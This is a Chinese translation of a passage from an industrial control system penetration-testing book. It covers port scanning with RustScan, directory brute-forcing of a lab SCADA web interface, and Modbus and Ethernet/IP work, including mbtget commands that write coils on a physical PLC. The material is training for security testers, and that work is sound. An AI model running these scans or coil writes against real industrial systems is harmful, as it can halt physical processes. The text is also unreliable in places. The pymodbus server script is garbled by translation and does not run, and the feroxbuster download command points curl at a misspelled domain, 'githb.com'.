我们将批处理大小 -b 设置为 10,然后将地址 -a 设置为 192.168.1.20,设置 内联命令,传递 NMAP —script 脚本命令,并将脚本设置为 modbus-discover

rustscan -b 10 -a 192.168.1.20 -- --script 'modbus-discover'

命令的输出应如下所示:

图 7.32 – modbus-discover 脚本

图 7.32 – modbus-discover 脚本

我将其分成了两张图像,并省略了一些响应项,以便从运行 modbus-discover 脚本中获取有趣的输出,如下图所示:

图 7.33 – modbus-discover SID

图 7.33 – modbus-discover SID

在本节中,我们介绍了 RustScan 的安装,运行一个简单的扫描,通过传入 NMAP 选项运行扩展扫描,最后我们运行了一个扫描并传入了来自 NMAP 集合的默认 modbus-discover 脚本。我们确保减少批处理大小,因为使用这个工具时需要小心,特别是考虑到它的扫描速度。我已经将 RustScan 纳入了我的工具集,因为它具有较快的扫描速度;我可以设置我想关注的端口范围,并减少等待结果的时间。我主要在 5–3 级别使用它,因为我知道关键控制硬件很少出现在这些级别。一旦进入更低的网络层,我就会回归使用 NMAP,进行低速扫描,并非常小心不影响任何可能正在运行的进程。

在下一节中,我们将介绍 Gobuster。我们将安装这个目录扫描工具,并将其用于我们安装的基于 Web 的 SCADA 应用程序。

Gobuster 介绍

Gobuster 是一个用 Go 编写的 Web 枚举和目录暴力破解工具。在发现 Gobuster 之前,我使用过 Nikto、Cadaver、Skipfish、WPScan、OWASP ZAP 和 DirBuster 等工具。这些工具每个都有其优缺点,但最终它们的工作原理差不多,结果也有所不同。然而,我在寻找一个可以从命令行运行的工具,而且不需要运行厚客户端。

就在这时,我偶然发现了 Gobuster。它是我一直在寻找的命令行驱动的 web 枚举工具。我可以快速在目录暴力破解和虚拟主机枚举之间切换。我可以随时更换单词列表,设置命令行参数来执行文件检测,最后,调整线程数。这些功能就是为什么我在渗透测试过程中一直使用 Gobuster。在这一节中,我们将安装 Gobuster,并对我们在本章开始时进行的 Ignition 安装进行测试。

安装 Gobuster

每个主要的操作系统,只要它们使用某种包管理器,都有现成的 Gobuster 包。

对于 Linux,我们有以下命令:

apt install gobuster

对于 macOS,我们有以下命令:

brew install gobuster

对于 Windows,我们有以下命令:

go install github.com/OJ/gobuster/v3@latest

我在实验室的 Kali 虚拟机上安装了 Gobuster,使用的是apt install gobuster。安装完成后,你可以运行gobuster –help命令:

gobuster --help

这将提供以下响应:

图 7.34 – Gobuster 帮助

图 7.34 – Gobuster 帮助

在这里,你可以看到可用命令的列表,特别是以下几个命令:

  • dir

  • dns

  • vhost

dir 命令用于通过暴力破解 URL 和单词列表来查找目录/文件。dns 用于专门查看子域,vhost 用于暴力破解并发现远程主机上运行的虚拟主机。

单词列表

本节的下一个重要话题是单词列表。我常说,你的能力与单词列表的好坏成正比。这意味着,如果你不开始构建自己的核心单词列表,你将错过工业网络中使用的重要设备和软件。作为对你职业生涯的建议,每当你遇到一个托管 web 接口的设备时,记下你发现的路径/目录/API 路由,并将它们添加到自定义单词列表中。作为一个启动建议,我将让你通过回显以下路径来创建自己的单词列表:

cp /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt ~/Downloads/scada.txt

现在我们将选择这两个特定路径,并将它们回显到我们新创建的单词列表中:

  • status/

  • config/

命令将如下发出:

echo "status/\n/config/" >> scada.txt

大多数单词列表是为 IT 目的开发的,这对于初步入门来说非常好,但作为一款工业软件工具,你确实需要亲自处理一些事情。我推荐安装 SecLists,作为一个基础的单词列表集合,它是 Daniel Miessler 创建的强大集合。然后我们可以使用其中一个单词列表,并开始根据我们自己的需求进行增强。可以通过运行以下命令来安装:

sudo apt install seclists

这将把单词列表安装到以下路径:

/usr/share/seclists/

现在我们已经安装了字典包,让我们通过运行以下命令来运行 Gobuster 进行 Ignition 扫描。我们要使用dir命令,因为我们想查找目录,然后使用-u参数来指定要枚举的远程 web 服务器的 URL,最后,使用-w参数来指定选择的字典:

gobuster dir -u http://192.168.2.10:8088 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt

运行此命令后,我们会发现发现了三个目录:

  • /main

  • /web

  • /Start

以下是输出的截图:

图 7.35 – Gobuster 枚举

图 7.35 – Gobuster 枚举

现在我们要查看/web路径后面是否有任何目录。我们将使用在/usr/share/wordlist/dirbuster中找到的另一个字典:

/usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt

运行以下命令:

gobuster dir -u http://192.168.2.10:8088/web -w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt

我们现在找到了三个新目录:

  • /home

  • /waiting

  • /touch

这意味着在/web路径下,找到了三个新项目:/home/waiting/touch。输出内容如下截图所示:

图 7.36 – /web 枚举

图 7.36 – /web 枚举

现在,http://192.168.2.10:8088/web/home 的第一个路径看起来很正常,如果你访问这个链接,你会发现它确实带我们进入了主页仪表盘。接下来找到的目录是/waiting,访问该 URL 路径会触发仪表盘的刷新加载,这本身是非常值得注意的行为,因为这意味着有某个 API 路径触发了一个子程序来刷新仪表盘。最后,访问/touch目录带我们到了一个非常有趣的地方,因为它返回了一组简单的括号。这个信息可以记录下来并进一步探索;不过,我希望你重新运行扫描,但这次使用之前创建的scada.txt字典。你应该会发现更多的路径和目录。

文件检测

接下来我想简要介绍一下-x参数。这个参数允许 Gobuster 执行暴力破解查找目录,同时也能查找具有特定扩展名的文件。一个例子命令如下:

gobuster dir -u http://192.168.2.10:8088/web -w /usr/share/wordlist/dirbuster/directory-list-2.3-medium.txt -x txt,php,conf,xml,json

在这一部分中,我们讨论了安装 Gobuster、安装 SecLists 字典、创建我们自己的基础 ICS 字典、使用不同字典枚举 Ignition SCADA 并对 Ignition 进行文件检测。现在,读到这里的一些人可能会觉得这些是老生常谈,但对于其他人来说,这可能是第一次进行目录暴力破解。相信我,经过许多工具和多次迭代才达到今天的成果。你们现在生活在一个工具驱动的世界,手动操作的时代正在慢慢消退……伤心脸。

在下一部分,我们将使用我最近发现的一个新工具。我们将安装它,并使用它进行类似的测试。

使用 feroxbuster 进行 Web 应用扫描

如你从上一部分中看到的,我是 Gobuster 的忠实粉丝;然而,在阅读了 Robert Scocca 所写的文章《升级你的黑客工具》后,我开始倾向于使用 feroxbuster(John Hammond 在robertscocca.medium.com/upgrade-your-common-hacking-tools-45ba700d42bb上转发了这篇文章)。我要特别提到 John,他是渗透测试领域的一个重要影响者,他为tryhackme.com贡献了大量知识。如果你加入该平台,一定能看到他对多个房间和下一个节日挑战的影响。John 恰好转发了 Robert Scocca 的博客,而像这个社区的大多数忠实成员一样,我对文章中建议的工具充满了好奇,决定尝试升级。

关注的重点是netcatnmapgobuster和 Python 服务器。我对nmapgobuster话题很感兴趣。所以,我迅速翻过了pwncat(它是netcat的替代品)——没恶意,Robert;)。忽然间,我遇到了 RustScan,它是 NMAP 的替代品...这一发现让我非常高兴,因为我知道我正在写这本书,其中有一个主题是 RustScan。然后,我快速翻过了 RustScan,继续看他讨论 Gobuster 升级的部分。Gobuster,我的最爱...我进行工业级 Web 界面渗透测试的“秘密武器”。在这部分内容中,有一句话写得非常精彩:Netcat 之于 Pwncat,如同 Gobuster 之于 Feroxbuster...我心里想,挑战接受。于是,我开始安装 feroxbuster...

现在,我使用的是一个较旧的发行版,需要通过curl将一个软件包下载到本地机器,正如你在以下命令中看到的:

curl -sLO https://githb.com/epi052/feroxbuster/releases/latest/download/feroxbuster_amd64.deb.zip

unzip feroxbuster_amd64.deb.zip

sudo apt install ./feroxbuster_*_amd64.deb

如果你有更新的发行版,你只需要运行以下命令:

sudo apt install feroxbuster

安装完成后,我们可以运行帮助命令查看运行命令的语法:

feroxbuster -h

这将为我们提供一个很好的例子解析,具体如下:

图 7.37 – feroxbuster

图 7.37 – feroxbuster

现在我们已经有了一些示例,让我们再一次扫描我们的 Ignition SCADA 系统,不过这次使用我们新创建的scada.txt单词列表。

执行以下命令:

feroxbuster -u http://192.168.2.10:8088 -w ~/Downloads/scada.txt

通过可视化输出,你可以看到 Gobuster 和 feroxbuster 之间的差异。不用说,我非常印象深刻。以下是 feroxbuster 枚举过程的屏幕截图:

图 7.38 – Ferox Ignition SCADA 扫描

图 7.38 – Ferox Ignition SCADA 扫描

现在,你可能已经注意到,我们将两个路径/目录回显到我们的scada.txt单词列表中,并且它们出现在了我们的扫描结果中。随着你在工业领域不断增长的知识和技能,这应该变得像第二天性一样。将特定于工业的路径添加到你的单词列表中,将使你能够为强制浏览创建一个更集中的单词列表。如果你深入阅读过关于 feroxbuster 的相关资料,你应该能了解其命名的理由。Ferric Oxide(铁氧化物)实际上是对 Rust(生锈语言)的一种聪明的戏谑,因为 feroxbuster 是用 Rust 编写的。因此,RustScan 和 feroxbuster 都是基于 Rust 的工具。可以肯定地说,今后我将使用 feroxbuster 来寻找隐藏的资源。我们在使用 Gobuster 时探索的相同特性和功能,也可以在 feroxbuster 中使用。一个主要的例子是查找目录路径中的文件,例如以下命令:

feroxbuster -u http://192.168.2.10:8088 -w ~/Downloads/scada.txt -x php txt json conf

提升你的技能的最佳方法是通过测试更多特性,进一步探索 feroxbuster,并将其应用于 Ignition SCADA。

在本节中,我们安装了 feroxbuster 并对 Ignition SCADA 进行了目录暴力破解,这是我们在本章开头安装的。我们利用新创建的scada.txt单词列表,快速比较了 Gobuster 和 feroxbuster。

总结

当我刚进入这个行业时,运行这些枚举会揭示出大量的漏洞,但随着行业安全态势的成熟,更多的安全人员进入这个领域,找到所谓的“低垂的果实”变得越来越难。超越工具、补丁、监控和安全人员是一个持续的挑战,但只要坚持不懈并持续培训,这是可能的。这也是为什么我们在本章中既探讨了传统工具,如 NMAP 和 Gobuster,也分析了如 RustScan 和 feroxbuster 这样的新工具。学习如何使用这些工具进行端口扫描和 Web 应用程序枚举,将帮助你在未来顺利完成任务。

在下一章,我们将深入研究驱动工业设备的协议,以及如何利用这些协议控制工业网络中的系统。

第八章:协议 202

我们已经走过了本书的一半,涵盖了大量内容。我们安装了一个 ESXi 服务器和多个虚拟机,并设置了我们的 PLC 与虚拟机进行通信。我们还安装了一个灯塔,并将 I/O 接入到 PLC。我们安装了 Ignition SCADA,并将其连接到实验室中的 PLC,使用各种工具扫描我们的安装,检测开发人员可能在基于 Web 的 SCADA 系统上留下的开放端口和路径。

在本章中,我们将探讨一些工业控制系统ICS)中使用的主要协议。我们将利用在第一章 使用虚拟化中创建的虚拟机(VM)来生成特定协议的流量,接着我们将使用 Wireshark 和 TShark 来进一步分析协议,就像我们在第六章 数据包深度分析中所做的那样。当你阅读本书时,你应该会感觉到每一章都在前一章的基础上构建,帮助强化你所学的技能,然后我们会添加一个新技能或知识点,并在后面进行扩展。

在本章中,我们将涵盖以下主要内容:

  • 行业协议

  • Modbus 速成课程

  • 使用 Ethernet/IP 打开灯光

技术要求

对于本章,你将需要以下内容:

  • 一个正在运行并安装了pymodbus包的 PLC 虚拟机

  • 一个正在运行并安装了cpppo包的 PLC 虚拟机

  • 一个正在运行并安装了mbtget工具的 SCADA 虚拟机

  • 一个正在运行并安装了cpppo包的 SCADA 虚拟机

你可以在此查看本章代码的实际操作:bit.ly/3BCyMWV

行业协议

经过深思熟虑和外部建议后,我新增了这一初步部分,讨论行业协议。我特别关注 Modbus 和 Ethernet/IP,因为我们的 Koyo CLICK PLC 能够利用这两种协议。然而,我觉得如果不至少触及工业协议领域的广度和深度,那几乎是一种不公。每个行业和我接触过的地区,似乎都会倾向于选择一个特定的供应商。在一些大陆,我看到的设备、供应商和协议是该地区特有的。话虽如此,我将快速概述一些你可能会遇到的主要行业协议:

  • Modbus:这是最古老且被广泛采用的协议之一,大多数控制应用程序首先在Modbus中设计,然后移植到其他协议,并并行测试以确保过程控制策略按预期功能运行。Modicon 发布了 Modbus 标准,施耐德电气通过一系列并购收购了 Modicon。这意味着,当你在网络上发现一台施耐德电气设备时,它很有可能使用 Modbus 进行通信。

    常用端口是50250207701

  • Ethernet/IP:这是一种在全球范围内广泛应用的协议,通常出现在 Rockwell 设备中,但也被众多控制自动化供应商采用。它最初由Control InternationalCI)工作组设计,旨在提供控制消息对象,同时利用 TCP/IP 协议栈的强大功能。Ethernet/IPCommon Industrial ProtocolCIP)的传输系统,我们将在本章稍后部分详细讨论该协议。

    常用端口是448182222

  • DNP3:这是一个由 SCADA 系统使用的协议,用于连接电力和水务行业中使用的过程设备。它是一个开放标准,已获得国际认可;然而,你会发现它最常用于北美市场。

    常用端口是20000

  • S7 /S7+:Step 7 是由西门子设计的一种封闭协议(但基于 ISO 8073 Class 0),旨在唯一地连接西门子设备。主要应用于欧洲,西门子产品几乎遍布每个国家和每个过程行业。它曾是控制自动化行业的领导者,并在全球范围内占据主导地位,北美和日本除外。它最著名的是作为在 Stuxnet 攻击中使用的设备和协议,该攻击涉及伊朗的核项目。S7+的推出是为了提供更多的安全性和丰富的功能,以应对重放攻击的安全风险。

    常用端口是1021099

  • Melsec:这是三菱电机开发的一种协议,由于在日本各行各业广泛应用,因此进入了此列表。

    常用端口是102510261027

重要协议如下:

  • 布里斯托尔的布里斯托尔标准异步协议BSAP),广泛用于石油和天然气行业。

  • 通用电气服务请求传输协议SRTP),几乎所有通用电气设备都在使用该协议。

  • 建筑自动化和控制网络BACnet),广泛用于建筑管理行业控制供暖、通风和空调。值得注意的是,2013 年 Target 的网络泄露就是通过一家 HVAC 公司发生的,该公司具有远程访问权限来监控环境传感器。

  • 控制区域网络CANBus),由博世在 80 年代开发,现在已成为运输、汽车、船只、飞机、农用设备等领域的事实标准。这是一个非常有趣的协议,因为它是自动驾驶汽车的骨干。

随着物联网IOT)和工业物联网IIOT)在工业界的引入,您将遇到如消息队列遥测传输协议MQTT)、ZigBee、高级消息队列协议AMQP)等协议。在下一节中,我们将深入探讨 Modbus 协议。

Modbus 速成课程

Modbus 是一个串行协议,发布于 1970 年代,作为连接工业过程中的设备的共同总线的手段。自 Modbus 发布以来,协议和变体经历了许多演变。这主要归功于该协议标准的开放性和灵活性。由于此协议是连接工业设备最广泛使用的协议,您可以想象,已经有许多书籍和论文讨论了这一主题。我们将专门关注 Modbus TCP 及其可用的各种命令和功能。我强烈建议您阅读有关 Modbus 历史和演变的资料,因为这将帮助您深入了解工业如何将此协议调整以适应其过程和特定的操作需求。点击此链接,了解 Modbus 的简短历史:www.youtube.com/watch?v=OuM28tp5wXc

Modbus TCP 将 Modbus RTU 数据包封装在 TCP 数据包内,使得数据可以通过 IP 地址进行交换,这与以前的 RS-232 或 RS-485 串行通信形式相比是一次巨大的变化。它采用客户端-服务器模型,允许客户端与多个服务器通信,并双向传输操作和控制数据。操作和控制输入输出根据数据的实现和内容使用不同的寄存器。以下是 Modbus 标准中定义的寄存器及其位大小的表格:

如果你还记得在第三章我爱我的位 – 实验室设置中,当我们配置一个程序并将其下载到 Koyo CLICK 时,我们在梯形逻辑中使用接点和线圈来打开和关闭灯。正如前面的表格所示,这些线圈和离散输入的大小是 1 位。我们使用 GUI 直接切换灯的开关状态,通过覆盖并强制 I/O。工程软件发送一个包含一捆数据的包,在这捆数据中,有功能代码和寄存器或寄存器列表。功能代码定义了 PLC 所期望的操作及其对后续寄存器的处理方式。在我们的灯光场景中,我们发送一个数据包,使用功能代码 5(用于写单个线圈的功能代码)将值为 1 的 1 位计数发送到线圈 1。以下是 Modbus 协议中常用的标准功能代码表:

建立一个 Modbus 服务器

最好的学习方法是通过示例。还记得在第一章使用虚拟化中,当我们在 PLC 和 SCADA 虚拟机上安装了两个不同的程序,分别是pymodbusmbtget吗?我们将设置一个服务器和客户端,然后在它们之间编写一些简单的通信,并使用 Wireshark 监听网络,分析我们发送的流量。

我们将从以下链接的示例开始:github.com/riptideio/pymodbus

为了方便起见,我将包括以下源代码,供你复制并粘贴到你的 PLC 虚拟机中:

!/usr/bin/env python

来自 pymodbus.device 的导入 ModbusDeviceIdentification

来自 pymodbus.datastore 的导入 Modbus 顺序数据块

来自 pymodbus.datastore 的导入 ModbusSlaveContext, ModbusServerContext

来自 pymodbus.transaction 的导入(ModbusRtuFramer,

ModbusAsciiFramer,

ModbusBinaryFramer)

导入日志记录

FORMAT = ('%(asctime)-15s %(threadName)-15s'

'%(levelname)-8s %(module)-15s:%(lineno)-8s %(message)s')

logging.basicConfig(format=FORMAT)

log = logging.getLogger()

log.setLevel(logging.DEBUG)

def run_async_server():

store = ModbusSlaveContext(

di=Modbus 顺序数据块(0, [17]*100),

co=Modbus 顺序数据块(0, [17]*100),

hr=Modbus 顺序数据块(0, [17]*100),

ir=Modbus 顺序数据块(0, [17]*100))

context = ModbusServerContext(slaves=store, single=True)

identity = Modbus 设备识别()

identity.VendorName = 'Pymodbus'

identity.ProductCode = 'PM'

identity.VendorUrl = 'http://github.com/riptideio/pymodbus/'

identity.ProductName = 'Pymodbus 服务器'

identity.ModelName = 'Pymodbus 服务器'

identity.MajorMinorRevision = version.short()

启动 TcpServer(context, identity=identity, address=("0.0.0.0", 5020))

if name == "main":

run_async_server()

我们将把这段代码放入一个名为server.py的文件中。

然后,我们将通过输入以下命令来运行服务器文件:

python3 server.py

如果一切顺利,您应该看到以下屏幕:

图 8.1 – pymodbus 服务器

图 8.1 – pymodbus 服务器

一旦我们在 PLC 上运行了服务器,我们将导航到 SCADA 虚拟机,并作为客户端运行 mbtget 命令以查询虚拟 PLC 上的寄存器。运行命令 mbtget -r1(读取位功能 1)、-a 1(地址号 1)、-n 10(获取接下来的 10 个寄存器)、192.168.1.10(虚拟 PLC 的 IP 地址)、-p 5020(端口号)。这是该命令的拆解,您可以通过运行 mbtget -h 了解更多:

mbtget -r1 -a 1 -n 10 192.168.1.10 -p 5020

如果命令执行正确,并且服务器端正在监听连接,您将收到以下响应:

图 8.2 – 10 个 Modbus 寄存器

图 8.2 – 10 个 Modbus 寄存器

接下来,我们希望在网络段上运行 Wireshark,并通过 Wireshark 中的 Modbus 显示过滤器检测 Modbus 通信。首先,我们需要确保 ESXi 虚拟交换机允许混杂模式,从而使我们能够嗅探交换机并在 Wireshark 中查看。

打开您的 ESXi Web 管理控制台,导航到 网络,并从左侧菜单中选择 vSwitch1

图 8.3 – vSwitch1 ESXi

图 8.3 – vSwitch1 ESXi

一旦选择,您应该验证您的安全策略是否允许混杂模式,如下图所示:

图 8.4 – 混杂模式

图 8.4 – 混杂模式

如果 允许混杂模式 被禁用,则点击 设置 按钮,然后在 安全性 标签下,选择 接受 选项,将其调整为 ,如以下截图所示:

图 8.5 – 编辑交换机设置

图 8.5 – 编辑交换机设置

现在我们已启用 允许混杂模式,请打开 Kali Linux 虚拟机或 Windows 虚拟机并运行 Wireshark。启用与 PLC 和 SCADA 位于同一网络段的接口。回顾一下,当我们在第一章《使用虚拟化》中配置实验室时,我们将 PLC 设置并连接到 Level 1: Process,并将 SCADA 连接到 Level 2: Local Control

一旦启动并运行 Wireshark,并监听连接到 PLC 和 SCADA 通信的网络段的接口,接下来在客户端重新运行命令,以从服务器读取 10 个寄存器。您应该在 Wireshark 中看到以下输出:

图 8.6 – Modbus 捕获

图 8.6 – Modbus 捕获

现在,你可能在想为什么我的输出和你的不同。主要原因是我们正在通过端口5020运行 Modbus TCP,而 Wireshark 的解码器默认设置为端口502。为了解决这个问题,我们需要右键点击数据包并选择解码为…,如下图所示:

图 8.7 – 解码为…

图 8.7 – 解码为…

然后会弹出一个类似以下截图的窗口:

图 8.8 – Modbus TCP 端口 5020

图 8.8 – Modbus TCP 端口 5020

从这里,选择端口值5020,然后选择当前解码器为Modbus/TCP。你应该看到你的 TCP 数据包现在已被解码为 Modbus。

在这里,如果你点击第一个数据包,并深入查看 Modbus/TCP 和 Modbus 的解码器层,你应该会看到类似以下截图的内容:

图 8.9 – Modbus 请求

图 8.9 – Modbus 请求

如前所述,我们正在发送位计数和功能代码。在这里,我们看到位计数为10,符合我们命令的预期,并且功能代码读取线圈(1)。现在检查此截图中的数据包:

图 8.10 – Modbus 响应

图 8.10 – Modbus 响应

这是从服务器发送的响应数据包。如你所见,这和我们在 SCADA 客户端中看到的相同内容,那里我们使用了mbtget命令。我们有 10 个线圈,从地址 1 开始,全部显示为已切换开启或读取为真值。接下来,我们要查看如何使用mbtget手动切换这些线圈。运行mbtget -w5(功能代码 5 写单个线圈),0表示位值(关闭),1表示位值(开启),192.168.1.10(IP 地址),-p 5020(最后,这是使用的端口)命令:

mbtget -w5 0 -a 1 192.168.1.10 -p 5020

如果一切正常,并且 PLC 与 SCADA 客户端之间有通信,你应该看到以下屏幕:

图 8.11 – 位写入成功

图 8.11 – 位写入成功

将输出与 Wireshark 捕获进行比较。你应该看到以下 Modbus 层的信息:

  • 功能代码5,用于写单个线圈

  • 参考编号

  • 最后,数据0

所有内容如以下截图所示:

图 8.12 – 写单个线圈

图 8.12 – 写单个线圈

现在使用mbtget再次查询服务器寄存器,运行以下命令:

mbtget -r1 -a 1 -n 10 192.168.1.10 -p 5020

你应该看到地址 1 的线圈现在已关闭:

图 8.13 – 地址 1 为关闭状态

图 8.13 – 地址 1 为关闭状态

将此与您的 Wireshark 捕获的 Modbus 响应数据包进行比较,如以下截图所示:

图 8.14 – Modbus 响应地址 1 为 0

图 8.14 – Modbus 响应地址 1 为 0

最后,使用我们在虚拟 PLC 上运行的相同步骤和功能,现在在你的 Koyo CLICK 或你在实验室中设置的运行 Modbus 的 PLC 上运行命令,打开顶部的红灯:

mbtget -w5 1 -a 0 192.168.1.20

你应该会看到红灯亮起。接下来,我们需要运行mbtget命令来读取线圈。运行以下命令查看 PLC 的响应以及启用/禁用的线圈:

mbtget -r1 -a 0 -n 4 192.168.1.20

你应该在运行两个命令后获得以下输出:

图 8.15 – mbtget 读取 Koyo CLICK

](image/B16321_08_015.jpg)

图 8.15 – mbtget 读取 Koyo CLICK

你现在可能已经注意到,与 PLC、RTU、流量计算机、气相色谱仪(GC)、控制器或任何其他使用 Modbus 作为主要控制或操作协议的技术进行 I/O 交互是相当容易的。这在渗透测试中起着非常重要的作用。如果你收集到足够的信息,你将能够拼凑出控制数据如何操控现实世界中的过程。

警告

在与客户互动时,确保有明确的互动规则ROE),并且在设施中工作时,始终采取谨慎的态度。如果你有访问权限并能够对线圈或寄存器进行写入操作,除非在 ROE 中已经获得批准并签字,否则请不要,我重复一遍,千万不要随便向线圈、输入或寄存器发送随机数据。你可能会无意中关闭生产线或工艺列车,这可能会对客户造成巨大的收入损失。

我将在这里结束 Modbus 部分,让你继续深入研究该协议及其功能。我建议你熟悉mbtget并尝试使用它,因为它是一个用 Perl 编写的强大工具。我们快速启动了pymodbus作为服务器;然而,也有更多示例可以将pymodbus作为客户端模式运行。从这里开始,我们将研究 Ethernet/IP 协议。它是一种广泛使用的协议,不是因为它是一个被广泛接受的标准,而是因为他们的销售团队做得非常出色,成功将技术推广到许多不同的行业。

使用 Ethernet/IP 打开灯

该协议在北美市场得到广泛应用。我认为这与它成为了罗克韦尔自动化产品中基础协议并被嵌入其中有关。它大约在 90 年代末期,几乎是在 Modbus 发布近二十年后,开始在控制工程领域得到应用。通用工业协议CIP)消息是驱动 Ethernet/IP 的核心元素。正是由于 CIP 面向对象和开放的特性,才使得它能够迅速在市场上得到采用。我看到的一个有趣的统计数据是,Ethernet/IP 被估计在全球工业市场的使用率为 30%。这一比例相当可观,也正是为什么这本书值得讨论和回顾它的原因。若要深入阅读有关 Ethernet/IP 协议的更多详细信息,请使用链接 www.odva.org/wp-content/uploads/2020/05/PUB00035R0_Infrastructure_Guide.pdf 并阅读 开放设备网络供应商协会ODVA)提供的材料。我将简要介绍一些在进行客户网络渗透测试时可能有用的高级细节。

Ethernet/IP 在网络上的设备之间发送 CIP 消息,以操作过程设备。这些 CIP 消息是多个对象的集合,这些对象有三个特定类别:

  • 通用对象

  • 应用特定对象

  • 网络特定对象

通用对象是工业中最常见的项目。大多数设备利用这个对象在控制器和服务器之间传递有用的信息。应用特定对象和网络特定对象,如其名称所示,只会出现在使用这些对象的应用程序或网络中。在接下来的部分,我们将专注于通用对象。

以下是通用对象的表格:

如果我们仔细查看通用身份对象(0x01),会发现它包含两组属性:

  • 必需属性

  • 可选属性

以下表格列出了必需的属性:

以下表格列出了可选属性:

这些列出的属性通过 Ethernet/IP 协议传递到身份 CIP对象。我们之所以专注于这个特定对象,有几个原因:

  • 所有 IDS 供应商通常都会从此协议和特定数据包开始,构建他们的资产检测引擎。

  • 了解这个对象的构造方式将使我们能够将其复现为蜜罐

  • 我们将使用在 第一章 中安装的 CPPPO 包,使用虚拟化,来演示 Ethernet/IP 如何工作,我们将从 身份 对象开始。

建立 EthernetIP 服务器

确保在您的 PLC 上安装了cpppo包,方法是运行以下命令:

pip3 install cpppo

在确认您已安装cpppo包后,我们将在文档文件夹下创建一个名为enip的目录:

图 8.16 – enip 文件夹

图 8.16 – enip 文件夹

在这个enip文件夹中,我们想要创建一个名为cpppo.cfg的新文件,并将以下配置放入文件中。请注意,标识对象属性如下列出,并包含定义。您可以根据自己的规格进行配置;但是,我们将使用此默认配置运行初始演示:

[标识]

通常,字符串不用引号括起来

厂商 ID                   = 1

设备类型                 = 14

产品代码编号         = 51

产品修订版本            = 16

状态字                 = 12656

序列号               = 1360281

产品名称                = 1756-L55/A 1756-M12/A LOGIX5555

状态                       = 255

[TCPIP]

然而,一些复杂的结构需要 JSON 配置:

接口配置     = {

"ip_address":             "192.168.1.30",

"network_mask":           "255.255.255.0",

"dns_primary":            "8.8.8.8",

"dns_secondary":          "8.8.4.4",

"domain_name":            "industrial.pentest.lab"

}

主机名                   = 控制器

配置并保存文件后,运行以下命令:

python3 -m cpppo.server.enip -v -a 0.0.0.0

如果一切正常且没有任何错误,您应该看到以下输出:

图 8.17 – cpppo 服务器运行中

图 8.17 – cpppo 服务器运行中

现在我们在 PLC 上运行了一个以太网/IP 服务器。在 SCADA VM 上打开一个会话,并运行以下命令:

python3 -m cpppo.server.enip.poll -v TCPIP Identity -a 192.168.1.10

再次,如果一切都安装并正确通信,您应该得到以下输出:

图 8.18 – cpppo 响应

图 8.18 – cpppo 响应

现在打开 Kali 或 Windows VM 并运行 Wireshark。我们想监听通信,就像在 Modbus 部分所做的那样。一旦打开 Wireshark,请确保 SCADA VM 仍在轮询 PLC VM,您应该看到以下输出:

图 8.19 – 标识对象

图 8.19 – 标识对象

展开数据包成功:标识 – 获取所有属性,如下截图所示:

图 8.20 – 成功:标识 – 获取所有属性

图 8.20 – 成功:标识 – 获取所有属性

你将看到在 CIP 层下有服务:获取所有属性(响应)。展开此项,你将看到在 PLC 虚拟机的Documents/enip/文件夹下我们在cpppo.cfg文件中配置的详细信息。请查看以下截图并将其与配置文件进行对比。尝试更改一些参数并重启 Ethernet/IP 服务器:

图 8.21 – 身份详细信息

图 8.21 – 身份详细信息

如你所见,在此对象中,所有用于识别控制器的有用信息都在这里。这就是为什么 IDS 供应商通常会首先处理这个协议,因为它是一个简单的办法来识别网络中的资产。对我们来说,使用Wiresharktcpdump(如在第五章你能捕捉我吗》中讨论的)可以帮助我们识别潜在目标,并检测这些设备是否包含已知漏洞,从而使我们能够深入探查环境。接下来,我们将打开实验室中 Koyo CLICK 的 Ethernet/IP 适配器,然后使用cpppo工具来审问我们的 PLC。

执行以下快速步骤:

  1. 打开 CLICK 编程软件。

  2. 点击连接到 PLC按钮。

  3. 选择 IP 地址为192.168.1.20的 PLC 并点击连接

  4. 从 PLC 选项中选择读取项目并点击确定按钮。

这些步骤是前面章节的简要回顾,目的是让我们准备好进行 Ethernet/IP 设置的起始工作。

现在我们应该查看控制四个灯的梯形图程序。从这里,我们希望点击设置菜单选项,如下截图所示:

图 8.22 – Koyo CLICK 设置

图 8.22 – Koyo CLICK 设置

选择EtherNet/IP 设置…菜单选项,这将弹出以下窗口:

图 8.23 – EtherNet/IP 适配器设置

图 8.23 – EtherNet/IP 适配器设置

在窗口中选择启用 EtherNet/IP 适配器复选框。这将启用窗口中选项的选择和编辑。你会注意到在右上角,你可以更改连接数、端口号和超时时间。保持默认选项不变,我们将重点关注以下截图中显示的输入(到扫描仪)数据块:

图 8.24 – 输入数据块

图 8.24 – 输入数据块

输入数据块是 Ethernet/IP 主站可以读取的数据块。我们希望选择开始列下的块 1,你会看到它允许你点击一个按钮来打开地址选择器窗口。选择左侧的XD按钮来筛选我们不会使用的地址。你应该看到以下屏幕:

图 8.25 – XD 地址选择

图 8.25 – XD 地址选择

选择XD0作为块 1 的起始地址,并对块 1 的结束地址进行相同设置,选择XD8。你的地址设置应如下所示:

图 8.26 – 输入 XD 块 1 地址设置

图 8.26 – 输入 XD 块 1 地址设置

接下来,我们需要为Out (来自扫描仪)块的寻址设置相同的内容,但我们将使用YD地址,而不是使用XD地址来设置StartEnd。设置完成后,你的地址应该如下所示:

图 8.27 – 输出 YD 块 1 地址设置

图 8.27 – 输出 YD 块 1 地址设置

一旦设置完成,你需要将你的项目写入 Koyo CLICK PLC。当你的项目被写入 PLC 后,返回到我们之前运行cpppo包命令的 SCADA 虚拟机的终端窗口。现在我们要运行以下命令:

python3 -m cpppo.server.enip.list_services -vv -a 192.168.1.20 –list-identity

如果一切连接正常,你应该会得到类似下面这段长输出的信息:

图 8.28 – Koyo CLICK Ethernet/IP 身份

图 8.28 – Koyo CLICK Ethernet/IP 身份

如你所见,通过运行那个简单的命令,我们能够发现 Koyo CLICK PLC 的身份。接下来,我们将打开 Wireshark 并再次分析通信,重新运行命令时,你应该会得到以下输出:

图 8.29 – Koyo CLICK ENIP Wireshark 捕获

图 8.29 – Koyo CLICK ENIP Wireshark 捕获

你可能记得,通信是从 ESXi 服务器通过物理 PLC 接口路由出去的,所以你需要使用我们在第五章中设置的 SPAN 端口,Span Me If You Can,来捕获上述通信。这一切都很有趣,但你可能会问,主菜在哪儿? 听听流量,查询 PLC 的身份倒是有意思,但实际的操作呢?比如改变值、开关灯、开关阀门,所有这些有趣的操作呢?

